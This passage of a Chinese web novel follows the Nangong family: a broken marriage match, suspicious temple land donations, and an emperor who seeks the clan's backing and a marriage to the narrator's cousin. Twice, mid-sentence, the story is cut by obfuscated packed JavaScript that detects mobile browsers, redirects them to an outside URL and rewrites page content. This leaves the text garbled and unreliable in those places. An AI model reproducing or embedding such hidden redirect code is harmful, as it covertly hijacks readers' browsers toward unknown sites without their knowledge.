是啊,牌位也是南宫简所立。回程的时候已近黄昏,我骑在马上,已没有之前对山林间新鲜冲动的感情。落日那片浑沌金色撒在眼前,困惑又迷茫。我们回到别墅,叔父已经知道我们去过小院。我在门口脱毡靴,慢慢解开皮扣。朱翼走过去,南宫简平静地说:“青川说的没错,今后你们晚辈要时常去拜祭姑母。” 然后朱翼用懒散的语调回答:“可以啊。青川姐姐又找到件事,可以差遣我了。” 她突然回过头看着我,一路上我们都没说话。我慢慢地,踱步到她身旁,她的眼珠子乌溜溜的,黑白清明。 我就把刚才青川怎么骂我的话,添油加醋讲了一遍。 嘉宁皇后是贤良的女人,不止青川这么说,周老师也对她万分敬仰。庆禧年间,镇国公出兵西国,皇后拿出陪嫁捐助军饷。兵败之后,割地赔款,皇后对上安抚君上,对下稳固内宫。几年操持劳碌,才送了命。她是海中明珠,即使陷入泥沙暗流,也光彩熠熠。 我怀着那样的心情祭拜,也是第一次尝试理解成人间的感情。叔父对自己的妹妹不吝溢美之词,不过他是冷静的,因为云罗是南宫家的女儿,一言一行都传承先辈。我听他讲了许多南宫皇后的事迹,桩桩件件,就和史书上记录那样,枯燥无趣。 “叔父,”我抬起眼,想试探又好奇,“那么姑母喜欢先帝麽?” 彼时无人在侧,夜里静得出奇,泉水汩汩流过,叔父笑起来:“你知道什么是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“河西南宫氏与伏波将军屈姥爷两代交好,屈姥爷还是青川姐姐的亲外公呢。阿爹年轻时,去关外周游,拜了屈姥爷做武师傅。现在本家的几个幼稚小子,也送去河西大伯家,按照阿爹的话说,磨练磨练筋骨。崇文不崇武,愧对先世祖。” 论起背家谱,我是输给她。不过叔父是不赞成这门亲事的,我的感觉不会错。 新皇初立,朝中并无亲信,威严难立,所以急于拉拢世家军侯。成安侯偏居一隅,最好永远中立。只是如今王氏一族手握重兵,很难独善其身。 “如果他们偏向新皇,那有何不可呢?”佑珍问道。 那会儿正是午后小憩,朱翼带着阿楚在卧房睡午觉。我听到叔父与佑珍谈话,就把睡意打消了。 佑珍迷惑,女子只求安稳人生,她自己是如此,更希望妹妹也这样。对于国事她知晓不多,看如今成安侯府强盛,才想到… 她拧住眉头,突然想到成安侯府也有可能败落,历代君王无情,皇权军权,从来交织缠绕。即使,即使如今顺意今上,那之后… 她混乱讲出自己的想法,想得到叔父的佐证。叔父倒是楞一下,她挺能居安思危的。 “我只是不想你们,卷入复杂的人生里。再说,南宫府与王氏一族,并无过多交往。”他想起什么,又问:“二小姐和侯府的公子没有多少交往吧?” 佑珍咬着唇。 这个我知道,交往可多呢。因为佑珍和成安侯夫人交往甚密,侯府的几位少爷小姐同阿楚经常一起玩。朱翼与佑珍通信时经常会谈论,阿楚和那位小公子,像是戏里唱的两小无猜。 我自然如数告诉叔父,心中暗想,这下佑珍姐姐的如意算盘,要打散了。 没想到叔父却说:“是这样…”他目光柔和,没了讨论成安侯府时的那份冷漠。 “如果是两情相悦,那刚才说的,都不重要。” 佑珍被他弄糊涂了,不过她重新考虑起这桩婚事。成安侯夫人再度拜访的时候,她不再热络回应。阿楚变成那个最不开心的人了,她一伤心就想起爹爹。昌化文庙里供着父亲的灵位,佑珍劝说妹妹去住两个月。 南宫府也向文庙捐些供养,临冬时节,青川要下山采买,顺路去一次文庙。叔父也让我同行,为了提前给父亲祭扫。我到了文庙,发觉阿楚还住在那里,两颊瘦了不少。于是想了不少办法引她高兴,哎,估计是为了侯府的小公子。叔父没有反对啊,只要他俩有意,这事早晚会成。 我游说她,去和佑珍姐姐表明心志,姐姐固然重要,可相公更重要。 哪知阿楚抽抽嗒嗒地表示:“成安侯夫人大概受了冷落,不再提这事了。如今托了媒人,相看好京都李侍郎家的小姐,快要下聘了。” 我那时很惊讶,“侯府的公子呢?他会答应麽?” 阿楚说她不知道。原先许多人都知道她要嫁给成安侯府,可如今新娘子突然换人,她不想回去了。 我想她留在这里,可抢不回相公,不如快去找到王家公子。不过她们两姐妹素来与我不投缘,好心好意反而引来侧目。 那天我帮文庙的姑子点算好年节的礼单,顺带把一年的支出收入也清算一遍,住职见到誊录好的账簿,狠狠夸奖我一番。 “世家果然教导有方。前几天看见青姑娘,出落得稳重干练;如今还有这个小姑娘,算起银钱财物,一套一套的。南宫大人真是用心良苦,皇庭侯府才配起这样的人才。” 那尼姑是个势力人,初次见到我的时候,以为我是青川的侍婢,那会儿她可没这么慈眉善目。看来佛祖脚下,也教化不了人的恶意。 可阿楚不懂这些,她把住职的话记在心上,到了无人处,迟疑问道:“小冰,我们家…南宫世家,是不是很厉害?娶了我们家的女孩,仕途就能顺遂,就能…发迹了?” 她这样问,一定有原因。 阿楚说:“姐姐告诉我,不必为王家公子伤心。他们草莽出身,原是冲世家名望而来。南宫家的女儿,不用受人怜悯。往事不可追,来日自有大好前程。” 佑珍的话,在我看来有点残酷。大概人长大后,才能残酷地对别人,也能残酷对自己。我闷闷不乐,回到山间别墅,特别想念叔父。 朱翼听到阿楚的婚事被搅黄,就怪腔怪调对我说:“这下你如意啦,小恶魔。” 我并不如意,反而疑惑:“人心如此易变。几个月前,叔父认为他们两情相悦。” 朱翼不以为意:“凡人俗事,本来容易改变。” 我回到山上,天开始下雪。大雪漫漫,一直没有看见叔父。我朝黑夜呵气,吐出一团团白雾。正玩得起劲,突然想起叔父在哪。黑夜深处,我尽力远眺,远处只有片片雪花。 这时青川裹着斗篷,提灯走来。她对朱翼抱怨:“老爷又去山上打扫。如今夜黑路滑,怕是明天才能下来。”朱翼只说她很冷,就转身进屋,雪水打湿了鞋袜,她就托着袜子,一圈又一圈,在火上烘烤。 凡尘俗世,有人容易改变,也有人不是。 10. 南宫世家(四) 宣和五年的夏天,世界仿佛从庆禧十三年的悲痛中缓和过来。南宫府收到许多雅乐请柬,春天是喝茶泛舟,到了夏天,最盛行的就是纳凉会。一行人在湖边包下几片庭院,吃果子扯段子。因为山间清凉,叔父一般不去应酬。我发现他作为世家族长,纵然被许多人尊敬,也有自己的弱点,就是懒。 某日午后,我们正在吃水果,叔父接到一封信。信用大红印戳封着,信封上没有署名。我注意他的脸色,就问是谁的来信。叔父没有回答,他匆匆离开了。 很晚的时候他才回来。我和朱翼都没睡,他坐在床沿,用异常专注的眼神望着我们。 “明日你们随我下山,去见一位贵客。” 朱翼问贵客是谁。我心中涌起异样的感觉。 “小冰,你别紧张。”叔父注意到,我的异常敏感。 第二天清晨,朱翼和我,还有青川,跟着曙光驱车下山。除了井生,叔父的几名亲信也随行。南宫府的侍卫都很低调,有时我会忘了他们的存在。这次我们一行人,整齐踏马下山,是几年来头一次, 马车行到临湖小院,那正是纳凉的热门之处,以往叔父带我来的时候,根本没有吃茶的空隙。太阳已经高悬空中,我出了一身汗,发现院子里肃然安静。 走过垂花门,走过游廊,朱翼淡然前行,仿佛她已经知道面前是谁。走到临湖一间竹屋内,叔父停下脚步,这时里面走出一个女人,大概三十岁的样子,朝我们和善微笑,她还特地朝青川一拜。青川微愣,她们是认识的,她旋即朝屋内看去。 我进入房内,竹屋对着湖水,室内明亮异常。一个瘦长挺拔的男子站起来,他挡住了光,以至于我看不清长相。这时叔父已行了大礼,青川朱翼也稽首跪拜,我也连忙跪下,耳边只听那男子说:“师兄,太客气了。” 他亲自扶起叔父,又对青川说:“姑娘,竟然认得我。” 青川颔首:“除夕中秋,每年家宴,陛下都会回京。” 那男子微笑道:“是么?可惜那会儿,认得我的人不多。” 避开阳光,朝那男子望去,那完全与我想象的不一样。恭王长丰,从他被迫即位那日起,就遭到质疑。人们从来不明说,但或多或少,在心中质疑这位君主。我从儿时就得到这样的印象,储君被掳去蛮邦,而恭王得到了皇位,得到了他不该得到的东西。 其实对于后者这是不公平的,如果我能做个局外人。可惜,涌动在心中的不安愈来愈强,这几年的平静生活是多么脆弱,南宫世家有它自己的命运。 叔父只说了我们的名字,以及如今大家留都在小仓生活。 “雍州的许多房舍都烧尽了,也没有精力重修。”他慢慢解释着。 “家父临终前,只担心着子孙平安。他老人家,一生都把自己逼得紧,对先皇的事,对家族的事,件件穷尽心力。尸骨已安葬雍州,但愿他的身心都能安息。” “婆娑一族若敢来犯,少全不会姑息。” “京都皇城,少全一介布衣,还是不去为好。” 叔父以谦卑恭顺的姿态,回应着陛下的追问。那时两人相对而坐,长丰本性认真又容易紧张,从他的眼神和时不时紧握的手掌可以看出来。 他松开手掌,笑笑。 “看来,师兄不愿帮我。” 叔父叩首行礼,“陛下言重。少全所能助力的,实在有限。至于南宫世家,世世代代,都竭力襄助皇室。” 长丰有些激动地站起身。 “襄助皇室,又不是襄助我。” 我们几个本来在吃果子,现在都停下手。 叔父示意我们出去。 “不…”长丰拉起他,双手紧握他的两臂,“没有什么不能说的。” 我们立刻回避了。 临出门前,我还是听到那句话。 “师兄,帮帮我。” 我们退至一间偏厅,内官客气地让我们小憩片刻。外廊似乎有侍卫巡逻,内厅却安静地心慌。我心里盘算,不知井生他们在哪里。一柱香的时间过去了,叔父还没回来。 青川端庄坐着,领口一丝褶皱都没有。朱翼拿出香囊里的几个珠子,自己在小桌上玩。我扒着窗户,觑眼偷看。 “阿青姐,刚才接见我们的那个娘子,走过来了。你快来看。”我小声通知她们。 青川打开门,迎那女子进来,那女子朝青川福了福身。 青川像是在由衷感叹:“真没想到…” 而那位女子,比起青川来,腼腆多了。她的五官并不出色,却生了一副优雅的脖颈和线条优美的溜肩,像窗外湖水中的白鹅。眼神举止,分外谨慎。她身上的薄荷绿薄衫,也是没有一丝褶皱。 青川说,这是阿志姑娘,现在应该是宫中首领女官了。 阿志好像并不在意这个虚衔,依然对青川十分恭敬。她沏好茶,一杯端给我,另外一杯执给朱翼。此刻偏厅的窗户都打开,屋内凉快了不少。她看着我微笑道:“这位是乌潭南宫府的三小姐麽?” 我还未开口,青川就把我从乌潭投奔来的事说了一遍。 阿志听完后,感叹:“三小姐死里逃生,后福无量。” 接着,她就转向朱翼,也许只是一瞬间的停顿,可她却仔仔细细看了一遍。 “这位就是雍州的大姑娘。果然…”她似乎不知该如何表达,“果然同嘉宁皇后,有些相似。” 这大概是朱翼最不爱听的,我心里暗笑。不过她垂下眼睑,装成温顺的幼鸽。 阿志是个很容易亲近的人,同样是女官,青川就非要咄咄逼人。 “机缘巧合,才能侍奉天子左右。”她向我们解释,“我的母亲是陛下的乳母,从小都在宫里长大。陛下十五岁就去了封地,直到…直到五年前,才能回来。” “我年轻的时候,受了阿青的照拂,在内宫中做花房买办的差事。后来嘉宁皇后过世,内宫中生计艰难,靠着原先的积蓄才熬过几年。” “原以为可以否极泰来,哪知还有更遭的。躲在井中的几天,宫里的老人都说,时也命也,时运不济。” “因缘际会,陛下得以回宫。他在宫中并没有熟人,我算是他唯一认识的旧人。” 我听明白了,这位阿志姑姑,因为是宣和帝的共乳姐妹,才得到的信任。他出宫巡游,也把她带在身边,因为… 因为什么呢? 我也不信,以青川的性格,会照拂当年一个默默无闻的宫女。可是如今,她依然对青川,礼敬有加。 “陛下与南宫先生,正在花厅比剑,很快回来了。”她看出了我们的焦虑。 烈日当头去比剑,我咽下口水,跟咽下桃核一样。 阿志善解人意,带我们朝花厅走去,路上她吩咐了其他女侍安置卧房被褥,我才知道,我们要留在这里过夜。 “陛下嘱咐,晚饭摆在竹屋,请小姐们一起用膳。” 她腼腆问道:“不知道我的手艺,各位吃得惯麽?” 青川有些讶异,问她怎么出行不带御厨,还要掌管膳食。 阿志停顿一下,才微笑回答:“陛下的膳食要求精细,我自己做,可以放心些。” 我们走出林荫小径,扑面而来一阵热风。刺眼的日头下,我看见叔父,他正好收了剑,面对天子作揖。此时周围站着几个武装打扮的男人,我们便远远站在一旁。那几位武将喝彩起来,其中一位剑眉白须,深目鹰鼻,我认出他是成安侯。 “阿爹!”朱翼叫起来;我也同时大叫:“叔父!” 那几个男人看过来,我俩就三步并两步走过去,一人一边,挽住他的臂膀。 长丰收剑入鞘,看到这副场景,觉得很有趣:“师兄好福气,养了这么两个贴心人儿。” 他记忆有些模糊,把我俩瞧了一会,才认出朱翼。 “小月,已经长得这么大了。” 朱翼退到叔父身后,叔父笑道:“是啊,我也发觉自己老了。臂力也不如从前。” 这时阿志带着女侍捧上冷水洗面,还有替换干衣。偏厅里预备好茶水,阿志询问是否要移驾。 长丰兴致不减,依然对朱翼说道:“小月,你出生那日,你的阿爹在内宫夜宴。来报信的人探头探脑,幸好我坐在最边上,被我一眼瞧见了。你的阿爹着急不已,我赶着车送他回去。那天正好是十五,月亮很美。后来…后来皇兄皇嫂就说,南宫家得了一个小月亮。” 阿志已把茶水端过来,长丰示意还是去偏厅饮茶,他回头对叔父说:“今日累了,你带着女孩子们去歇歇吧。明日再试试弓箭。” 叔父颔首答应,目送天子离开。他的衣衫也湿了,刚回身,成安侯走过来。 刚才武将们站得有些远。成安侯六十多岁了,并且早年与我们相识,这时走过来寒暄。 “少全,”他说,“早知道你会来。” 叔父的情绪并不放松,虽然他装得很轻松。 “还没恭喜侯爷,领职上都护府。”他诚意恭贺,“如今四海五湖风波丛横,侯爷得到陛下重用,劳心劳力。少全钦佩。” 成安侯王善香是行伍出身,不喜欢堆砌辞藻和人客套,他以看待晚辈的眼光看待叔父。 “少全,你也知道世道不好。你受皇家庇佑,又吃百姓米粮。得之就要惠之。”他望着长丰身在的偏厅,“我老了,所做有限。京都之内,翰林内制,几省几部,世家林立。这些纠葛…陛下南行,就想找到可相信之人,分去忧虑。” 叔父低下头:“少全惭愧。” 我抬头凝望,那时的成安侯一点没有老态,他像一只蓄势待发的老鹰。大多数男人都是野心勃勃的,他们与南宫少全不同。比如王善香,还有他的孩子。 自从阿楚的婚事搁置后,我再也没去过成安侯府。不过侯府的几个面庞我都记得,比如站在面前的小叔叔。他是成安侯最小的儿子,佑珍与他们熟络的那几年,都叫他小叔叔。 “小叔叔,福安。” “很久没见,几位姑娘。天气炎热,还是先去凉亭里说话吧。”他长了一副聪明样,不过精明外露,有点显眼,“父亲,南宫世子比我们更清楚陛下心意。我们只需领兵打仗,京都的事不要管。” 成安侯半分没有放过的意思:“少全,伏波将军是你们的姻亲,他如今和你还有书信?” 叔父见他问的突然,就笑道:“只有年节下互相送些礼。来往没有,毕竟老人家快七十了,又远在西北。” 成安侯感叹:“英雄转眼见白头。当年他与我,是镇国公麾下左右骑都尉。甘州兵败,我们再也没有见过面。” 我认真听着,不知道王氏父子,意欲何为。 “老将军德高望重,在西北掌控卫国大军。如果他愿意相助陛下,那陛下在京都的威望…” 叔父做了一个手势,他知道成安侯要说什么,示意他不用再说。 “侯爷,请谅解。南宫世家有祖训,不卷入任何朝事纷争。” 成安侯很生气的样子,不顾王珒的劝阻,直接说:“这是推卸责任。” 原来是这样,我心中渐渐明朗,想通过叔父争取更多的武官支持,也许不仅仅是武官。我想起朱翼背的族谱,除了嘉宁皇后,她的姑姑们和姐姐们,都嫁给了皇亲显贵。就连佑珍,也是巴陵名府卢翰林的儿媳妇。 所以,如今陛下势弱,更需要娶一位南宫皇后。我心里突得一跳,那不会是我,随即转向朱翼,她在烈日下的脸色有点苍白。 “父亲…”王珒适时解围,“你瞧,把小姐们都吓到了。” 成安侯略有触动,转而看着我们。因为提及她的外祖父,青川有些激动。她与王氏父子并不相熟,只认为成安侯与她的外祖父是旧识,所以说:“侯爷,叔父没有推卸责任,他体谅我的外公年老,又守着祖宗规矩。如果侯爷想请西北军相助陛下,可以亲自写信联络。外公南征北讨,他…” “他年纪大了,牙也松了,上次来信不是说了嘛。”她未说完,就被我打断了。 朱翼慢悠悠接了一句:“好像脑子,也不太好使了。” 叔父面露不悦,晚辈不得随意插话。 成安侯却不介意,他看着我们,好像欣赏几件精美的瓷娃娃。 他仿佛有些释怀,缓和语气。 “少全,这些女孩子们,都养得很好。我知道你的难处,也不勉为其难。只是,该是你的责任,你们不能推卸。” 叔父没有接话,只是一直说,侯爷幸苦了。 我有些生气,成安侯凭什么来指摘叔父;这间院落也闷得窒息,仿佛把我们都兜笼在一张网里。朱翼内心不安,她把头靠着叔父肩上,轻轻哼着小调。月落时分,阿志亲自送来饭菜,菜品非常清淡,一条肉丝也看不到, 陛下着了凉,不和我们一起用膳了。她很抱歉,也许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181309|165287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭食不合口味。 叔父询问陛下的身体情况。 阿志说:“已经把过脉,只是受凉腹泻。公子放心。” 我想应该是中暑了;叔父则立起身,要过去探望。 阿志拦住他,陛下已经睡了。 叔父不相信,接着冷淡问道:“那成安侯呢?” 阿志微笑道:“真的睡下了。喝了清粥就睡了,难得睡得那样沉。奴家没有看到成安侯。” 我想问问白天的事,是否和我猜想的一样。未开口,叔父就说:“小冰,谨言慎行。”阿志走了,他再次提醒我们几个,身处陌生之地,更要谨言慎行。 可是朱翼依然开口:“阿爹,我们此行为何?”她站在叔父面前,地上的阴影拉得老长,阴影里有诘难也有怨怼。 他们平时父慈女孝,从来未在我面前争执过。朱翼常说,世上最爱最在乎的,就是爹爹。可是,她对最爱最在乎的人,也有不可明说的怨怼。 “陛下与我许久未见,他亲自南下,我们全家当然要迎接。”叔父看着女儿,“小月,你不相信我麽?” 朱翼抬起下巴,“我怎么相信。爹爹为了家族荣誉,会把最心爱的人送走。” 滚烫的茶杯烫了我一下;青川不明白为何他们父女俩突然争执起来,莫名其妙看着我们几个。 可是叔父没有生气,他依然觉得我们都是小孩。他把茶杯盖上,盖得严丝合缝。 “小月,你要相信我。”他还是说着那句话。 朱翼从小与我争抢很多东西,争抢父亲的疼爱,争抢族人的赞美,甚至井生被我多差遣几回,她都嫉妒如小兽。可她也有很多不在乎的东西。她不在乎钱财富贵,不在乎胭脂花粉,也不在乎做皇后。那天,当这个机会从天而降的时候,我忽然意识到,因为朱翼不在乎,我也兴趣缺缺。凭什么我要去捡她不要的东西呢,纵然我从小有出人头地的愿望,可在那时,她的喜好憎恶,远超过了我儿时萌生的,模糊的志愿。 我理清了心意,就不再烦恼;可是随之而来的,是另一种深沉的担忧。我偷偷溜出来,想对着夜空喊几声。这座轻歌笑语的临湖小院,如今在天子威严下,显得有些笨重。湖边回廊上的花灯都给摘掉了,原先这里轻快的夜晚,也消失无迹。我坐着吹晚风,看到回廊尽头的成安侯父子,心里警觉起来。 其实我内心并不反感野心勃勃的人,因为相比野心,人还有更多劣迹斑斑的侧面。王珒还穿着白天的骑装,那套骑装有点旧,但是很合身,把他衬得很精神。他在黑夜里专注地说着什么,两手抱胸,眼神矍铄,一副对世间万物游刃有余的样子。 可惜我一直成为不了那样的人,内心惶恐。我把小孩式的惶恐藏在心底最深处,对他们喜欢不起来。 “小叔叔…”王珒发现了我,我就做出笑盈盈的甜美模样。 他们都称呼我:三小姐。我是乌潭南宫氏的三小姐;到了小仓后,井生还是称我三小姐;于是大家叫开了,走到哪里,我都是三小姐。 “三小姐,出来纳凉麽?”王珒收起了刚才的专注劲,转而注意我了。 我点点头。目测到远处几个随从正等着和他报事,而成安侯坐在一旁,随意翻看几本册子。 “小叔叔真忙啊;比几年前见到时,长瘦了不少。” “三小姐比起几年前,标致了不少。” 几年前我还是个孩子,现在他的语气,还是像称赞一个孩子。他随口闲聊,提起佑珍。 “卢夫人,是位很尽责的姐姐呢。”他笑道,“你们都挺有福气…” 我想起那门未谈成的,尴尬的婚事。有些窘,不知道王珒了解多少内情。 他却望着我,意有所指。 “不知道三小姐的前程如何。按照我的理解,三小姐的一切都听命少全兄了。如今正是天作之合…”他的精明模样又溢出来了,“三小姐的运气,真好。” 我心里冷笑,他们父子俩真有趣,好像认定我们几个,都要嫁给当今陛下。于是,就阴恻恻提到:“小叔叔,你操心太甚了。我每年都去昌化文庙理账,成安侯府捐了不少供给。有钱有地,很多捐赠都是小叔叔的名义。原来除了王家的家事,小叔叔还要提菩萨操心。” 我早就心生疑窦,捐给文庙的地,都可以圈成猎场了。果然王珒目光收缩,换了口气。 “原来三小姐,还懂算计账册。”他似乎在细嚼慢咽什么东西,“哦,昌化那块地方原是南宫氏的。我差点忘了。” “那么,是少全兄让你去玩的。”他微笑问道,眼中没有笑意。 我考虑一下,就说:“没有。姑子们看不懂字,才来问我。是我自己发现的。” 他冷哼一声。 我厌烦他多管闲事,才故意转移话题,这下戳中要害,他紧张起来。他依然叫我三小姐,再没有儿时的亲切。 “三小姐生在世家,不懂我们的难处。希望三小姐,不要把刚才的话,告诉别人。” 他微笑着,警告我。 我努力回忆,分析账册的内容,昌化文庙接受的捐地,多半囊入成安侯府了,不然他不会这么紧张。他们这么做,叔父知道麽?他们圈地敛财,是很缺钱麽? 王珒的眼中充满了对我的探知,他轻轻催促:“三小姐,还没答应呢?” 我本来就不感兴趣;不过,现在有了。 “为什么要答应你?小叔叔。” 我一本正经的样子,他大概觉得好笑。 “算了,这也不是什么非要答应的事。”他望一眼远处的侍从,他们等得很久了,“只希望三小姐记得,与人为善比与人为敌好。” 我坐在高椅上,两脚闲晃,心想,你又不是善类,为什么要与你为善呢。 他问我,要不要派人送我回去;我摇头,一个人走更安全。 “那好,”他随即告辞,“侯府一直想和南宫府交好,只可惜…王珒祝愿三小姐,前程似锦。” 他在黑夜转身,立刻消失了。 我心中不安更甚,要不要告诉叔父刚才的事。这些琐碎事,现在不是提起的良机。可是,王珒会怎么做。我想找到井生,让他去文庙走一回,先拿走账册。 那只是转瞬即逝的念头,谨言慎行,还是谨言慎行为好。井生他们进不了内院,现在天又黑了,还是不要冒险。等到明天吧,我走在寂静的夜里,明天,还有更多的事要操心。 11. 南宫世家(五) 长丰送给朱翼一把凤箫,纤巧如一轮弯月。他在封地寂寞的时候,常以音律排解。不知道他的皇兄,庆禧帝长业是个怎样的人。在我看来,为了江山稳固,把十五岁的少年封固在边疆,无疑是强制他去牺牲。世界本来就不公平。长丰可以模仿他的哥哥和叔叔们,纵情声色寄情山水。可惜,他溯游而上。他被京都的老臣们选中,赶来收拾残局。他被选中还有一个隐秘的原因,因为恭王尚无子嗣。也许这样,才能够给远在蛮邦的太子,一线生机。 我听着飞扬的音律,从他撩拨的琴弦里流泻。他弹得不止是好听,看朱翼的神色,就是她常说的清雅上流。她自己倒不大玩琴,虽然音律是她钟爱之事。她最拿手的是排箫。 长丰抚完一曲,青川不禁感叹:“泠泠七弦上,宛如皇后当年奏乐,只是更添气魄。” 长丰笑道:“可不敢和皇嫂比肩。” 彼时我们都在竹屋里。我一夜没睡,担忧着今日恐怕要得罪这位音律王子。果然长丰命人呈来一把凤箫,投其所好,送到朱翼面前。 朱翼想不到不收的理由,况且这是名正言顺的恩赏,她接下了。我和青川自然也有恩赏,她得了一把筝,给我的是一枚横笛。我看着面前的笛子,心想陛下真是偏心。 “小月,很久没有去京都了吧?那里钟林毓秀,你会喜欢的。” 他意有所指,发现朱翼像水中白莲,如云如雾,觉得自己不枉此行。 可是朱翼不是白莲,她发觉了危险,浑身就鼓出很多疙瘩,倒像个莲蓬。 莲蓬一点没犹豫,就回答:“小时候经常去。那里礼节繁琐,人情交杂,办事迟钝。小月一直很难忘。” “哦…看来年纪轻轻,就有真知灼见。你既然看到这些阻滞,不想助我一把麽?” “积垢难清。小月是平凡女子,不敢迎面波涛巨浪。” 她挺能说会道嘛。我啧啧称奇。然后长丰调转枪头。 “另外两位南宫小姐,也是这么想的?” 青川可不敢逞口舌之快,她委婉说道:“小月年幼,想法偏颇。奴家在宫中跟随嘉宁皇后时,京都繁华鼎盛,没有积垢难清的说法。再者,女子之德在于内帷。外事种种,还要三缄其口。” 她投个眼色给我,暗示我顺她的话,讲下去。 我清清嗓子,接下她的话:“没错。只是,纵然内帷之事,也永不会风调雨顺。如若不幸,遇到波涛巨浪,也当奋起挽之。奋起挽之,未来才可期。” “嗯…”长丰很满意,“还是三小姐,无所畏惧。” 青川比我们年长许多,在我的激情之语后,缓缓补充:“人生路,道阻且长。进退得宜,方得始终。” 这大概是多年历练教给她的,因为叔父的神色是同意的。 可是长丰却说: “看来,还是三小姐知我心意。她也是生在旁支,遭人忽视。奋起挽之,又遭人白眼。” 不知这位君王,受到什么阻滞。我总觉得,君王的宝座,是不受制约的。 可他过得也不轻松。 “少全,元相与许多旧臣,一直大议如何迎回太子;而西北的武臣们,为了和他们唱反调,非要清算国门失守的事。这些年,我努力周旋,还是不能统合左右。如今…如今不知道能不能,让你随行,与我去一次西北军大营。” 叔父有些吃惊:“陛下,是要整合兵力,讨伐南岭麽?” “不是,当然不是。”他有些奇怪叔父会有这样的想法,“我想让西北侯屈氏家族,站在我的身后。” 这大概是荆棘中摸索几年后,他想明白的地方。 “为了堵住朝中儒林文仕的嘴,南宫世家,也必须与我站在一起。” 他让叔父不用插话,在污泥中辗转百折,他知道他要什么。 “师兄,你该不会,等着储君从南岭回来吧?”他在晦明难分的光影间,问出心中疑问。 “师兄,储君是前朝侧妃所生,他身上没有南宫家的血。”屋外的竹林,飒飒作响。天阴沉了许多,反倒是昨日烈日炎炎好,不让人心惊胆战。 不知道叔父身在摇摆晃动的阴影中,会不会害怕。这是一个非此即彼的选择,他早知道会有这么一天。长丰与他同窗数年,喝过酒打过架,真的是他的师弟;而那个远在天边的储君,自幼养在深宫,与他并无缘分。 “我会和你一起去西北,尽我所能,协调陛下的军力。”叔父说,“除了老侯爷,陛下更需要获得主力二代军的认可。” 长丰仿佛难以置信,过了很久,才说:“师兄,我就知道,师兄不是白白叫的。” 他笑起来,得到了奖励,心满意足。 可是叔父并不高兴。 “有两个条件。陛下。” 他与天子谈条件,就像和小仓山上的农夫讨论斤两一样。 长丰敛去笑意,不意外地说:“我料到了。你说。” “陛下不可再杀人了。宣和年间,为了驳斥迎回太子的启奏,陛下杀了太多人。至今满朝不服,议论纷纷。” 长丰冷笑,两手在身后握成拳头,没有一丝血色。 “我答应。反正杀不杀,他们隔三岔五,都要提起。” 叔父又说:“第二件,请陛下不要伤害在南岭的那个孩子。他被困南岭也好,流落民间也好,请陛下忘了他吧。” 长丰挑起眉:“那要是他回来了呢” 叔父笑道:“那时陛下已大权在握。所以,还是恳请您,不要伤害他。” 长丰审视他面前的男子。 “师兄,有时候你很天真。你觉得我不伤害他,他会感激我麽?或者,他会感激你?等他长大了,他会变成一头狼。要是有机会靠近我,就会咬断我的脖子。” “师兄,你在深山老林,住得太久了。学的都是仁义道德那套。你该到皇城来,那里才是真实的血肉世界。” 叔父纹丝不动。 “陛下,不愿意麽?” 长丰依然两手握拳,背对着我们。 “好吧。只要他不来咬我,我也不去管他。” 这样的承若能够相信吗?是的,我们都在深山老林,住得太久。 长丰转过身来,光与影交融在他身后。 叔父说道:“我可以相信你吧。师弟。” 长丰笑道:“当然。”他望了一眼朱翼,“还有一件事…希望师兄答应我。” 朱翼垂下头,咬着唇;我很紧张,昨晚想了许多理由,好帮她躲过这件事。比如小月年纪太小;小月身患隐疾;小月已经定了亲。如今,我才发现,这些理由太浅薄了,在雄心勃勃的长丰面前,朱翼是非此不可的选择。 长丰温柔走过来,对朱翼说:“小月,你会喜欢京都的。做一个皇后,一个幸福的女人,就和你的姑母一样。” 我抬起头,刚要开口,朱翼就握住我的手。她紧紧地抓住我的手,以至于外人看来,她是因为要当皇后而激动。 “师兄,答应我吧。” 长丰好像在对他的王国,他的臣民,施法念咒。 在越来越黑的天色里,叔父却摇了摇头。我和朱翼都惊讶地看着他。他坚定地摇了摇头。 “原谅我,师弟。我只是一个可怜的父亲。” 叔父的拒绝在竹屋几尺地上,投下巨大阴影,连稚嫩如我都能感受到,而青川则不安地挪动一下。这桩看来顺理成章的联姻,却被南宫世家的族长,当众拒绝了。这个拒绝,让之前达成的交换条件,也显得不重要。 长丰突然笑起来。 “看来师兄于我,不是真心的。”他大臂一挥,展开眉角多年的抑郁,“原来是我自不量力。一个乐妓生的孩子有什么前途?我从来不是正统,就像那些老东西说的。对不对,师兄?” 叔父跪到边上:“陛下,您多虑了。” “多虑?”他讥讽,“如果不多虑,我还能活着?有多少人盼着我死呢,师兄以为我喜欢杀人麽?”他越说越魔障,“我没有皇兄的福气,他有你父亲的支持,所有人都认可他,即使…”他嘲讽,“即使他弄得一团糟,不是麽?师兄知道的,他弄得一团糟,整个京都都一团糟。可师兄却躲起来了。” “在我孤零零奋战的时候,师兄要与我划清界限。” 竹屋南北两门,大风穿过,脖子上微凉的汗顺势而下。是的,在这件事上,我们势必要得罪陛下。 青川努力解释:“不是这样的。请陛下息怒。” 解释是无用的。叔父的拒绝,也许只是保护幼女,可在外人看来,它代表了更多东西。 我和朱翼跪在一旁,她的内心,应该很煎熬。 可是话已出口,无法挽回。既然已经回绝,只好一路走到底。小月,别担心。 就在大风狂肆的时候,阿志敲了敲门。她淡定地询问,陛下,摆午膳的时刻到了。 她站在门外,与门内的焦灼成了对比。她给我们换了茶水,特地送到陛下面前。 “陛下,别着急。世子不舍得孩子,才会拒绝。陛下,慢慢来。” 阿志姑姑,真的是个好女人。 